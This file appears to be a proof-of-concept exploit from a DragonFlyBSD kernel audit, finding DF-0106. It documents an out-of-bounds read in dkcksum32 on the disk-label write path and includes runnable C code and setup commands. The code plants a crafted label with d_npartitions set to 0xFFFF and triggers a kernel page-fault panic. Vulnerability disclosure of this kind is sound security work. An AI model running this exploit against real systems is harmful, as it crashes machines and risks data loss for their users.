DragonFlyBSD Kernel Audit
DF-0106 / poc_writedisklabel.c
← back to finding ↓ download raw
/*
 * DF-0106 - dkcksum32 OOB read via crafted on-disk label in writedisklabel path
 *
 * Root-cause: l32_writedisklabel() (sys/kern/subr_disklabel32.c:363-364) reads
 * the EXISTING on-disk label from media and calls dkcksum32(dlp) on it WITHOUT
 * the d_npartitions > MAXPARTITIONS32 guard that protects the read path
 * (l32_readdisklabel, subr_disklabel32.c:225-226):
 *
 *   if (dlp->d_magic == DISKMAGIC32 &&
 *       dlp->d_magic2 == DISKMAGIC32 && dkcksum32(dlp) == 0) {     // NO GUARD
 *
 * dkcksum32() (sys/sys/disklabel32.h:150-161) computes its end pointer from the
 * attacker-controlled d_npartitions field and XOR-walks u_int16_t's to it:
 *
 *   end = (u_int16_t *)&lp->d_partitions[lp->d_npartitions];        // UNBOUNDED
 *
 * A crafted disk with d_npartitions = 0xFFFF makes dkcksum32 walk ~1 MiB past
 * the I/O buffer (bp->b_data, a buffer-cache buffer of d_secsize bytes).  When
 * the walk crosses an unmapped / stack-guard page the kernel faults:
 *
 *   Fatal trap 12: page fault while in kernel mode   (in writedisklabel)
 *
 * Trigger sequence (root / operator, device writable):
 *   1. Create a memory disk (vnconfig) and write a CRAFTED disklabel32 sector
 *      at LABELSECTOR32 (byte offset d_secsize = 512) whose d_magic and
 *      d_magic2 are DISKMAGIC32 and d_npartitions = 0xFFFF.
 *   2. Issue DIOCWDINFO32 on the slice device with a VALID label (obtained via
 *      DIOCGDVIRGIN32).  DIOCWDINFO first installs the label via DIOCSDINFO
 *      (l32_setdisklabel -- the valid label passes), then calls
 *      op_writedisklabel = l32_writedisklabel, which READS the crafted on-disk
 *      sector and runs dkcksum32() over it -> OOB walk -> page fault.
 *
 * Build:  cc -o poc_writedisklabel poc_writedisklabel.c
 * Run:    ./poc_writedisklabel /dev/vn0 /dev/vn0s0     (as root)
 *
 * Setup (once, as root):
 *   dd if=/dev/zero of=/tmp/oob.img bs=1m count=8
 *   vnconfig -c vn0 /tmp/oob.img        # creates /dev/vn0 and /dev/vn0s0
 *
 * Expected on vulnerable kernel (probabilistic -- depends on where the buffer
 * lands relative to an unmapped/stack-guard page; repeat a few times):
 *   Fatal trap 12: page fault while in kernel mode
 *   l32_writedisklabel() at l32_writedisklabel+0x...
 *   panic: vm_fault: fault on ...
 */

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/disklabel32.h>
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

/* disklabel32 label lives at LABELSECTOR32 (=1) * d_secsize bytes into the slice */
#define SECSIZE 512

int
main(int argc, char **argv)
{
    struct disklabel32 crafted;     /* malicious on-disk label */
    struct disklabel32 virgin;      /* valid label from DIOCGDVIRGIN32 */
    const char *rawdev, *slicedev;
    int fd, sfd, r;
    ssize_t w;

    if (argc != 3) {
        fprintf(stderr,
            "usage: %s <raw-disk> <slice-device>\n"
            "  e.g. %s /dev/vn0 /dev/vn0s0\n", argv[0], argv[0]);
        return 2;
    }
    rawdev = argv[1];
    slicedev = argv[2];

    /*
     * Step 1: plant a CRAFTED on-disk disklabel32 at sector 1 (byte 512).
     * Only d_magic / d_magic2 must match so writedisklabel's
     * (d_magic && d_magic2 && dkcksum32) short-circuit reaches dkcksum32;
     * d_npartitions = 0xFFFF is what sends dkcksum32 ~1 MiB out of bounds.
     *
     * Disk I/O must be sector-aligned, so we write a full 512-byte sector
     * (label occupies the first sizeof(label) bytes, the rest zero-padded).
     */
    unsigned char sector[SECSIZE];
    memset(sector, 0, sizeof(sector));
    memset(&crafted, 0, sizeof(crafted));
    crafted.d_magic  = DISKMAGIC32;
    crafted.d_magic2 = DISKMAGIC32;
    crafted.d_npartitions = 0xFFFF;          /* << the trigger */
    crafted.d_secsize = SECSIZE;
    memcpy(sector, &crafted, sizeof(crafted));

    fd = open(rawdev, O_RDWR);
    if (fd < 0)
        err(1, "open %s", rawdev);
    w = pwrite(fd, sector, sizeof(sector), (off_t)SECSIZE);
    if (w != (ssize_t)sizeof(sector))
        err(1, "pwrite crafted label sector at offset %d", SECSIZE);
    fsync(fd);
    printf("[*] planted crafted label (d_npartitions=0x%x) at %s offset %d\n",
           crafted.d_npartitions, rawdev, SECSIZE);
    close(fd);

    /*
     * Step 2: open the slice device writable and fetch a VALID label from the
     * kernel (DIOCGDVIRGIN32).  This label will pass l32_setdisklabel cleanly.
     */
    sfd = open(slicedev, O_RDWR);
    if (sfd < 0)
        err(1, "open %s", slicedev);

    r = ioctl(sfd, DIOCGDVIRGIN32, &virgin);
    if (r < 0)
        err(1, "DIOCGDVIRGIN32 on %s", slicedev);
    printf("[*] got valid virgin label from kernel (d_npartitions=%u, "
           "d_secsize=%u)\n", virgin.d_npartitions, virgin.d_secsize);

    /*
     * Step 3: DIOCWDINFO32 -> internal DIOCSDINFO32 (sets label, valid) ->
     * op_writedisklabel reads sector 1 (our crafted label) and runs
     * dkcksum32() over it -> ~1 MiB OOB read.
     */
    printf("[*] issuing DIOCWDINFO32 on %s -> writedisklabel reads crafted "
           "sector -> dkcksum32 OOB walk\n", slicedev);
    fflush(stdout);

    r = ioctl(sfd, DIOCWDINFO32, &virgin);
    if (r < 0)
        warn("DIOCWDINFO32 returned (kernel NOT panicked): %s",
             strerror(errno));
    else
        printf("[!] DIOCWDINFO32 succeeded unexpectedly (r=%d)\n", r);

    close(sfd);
    return 0;
}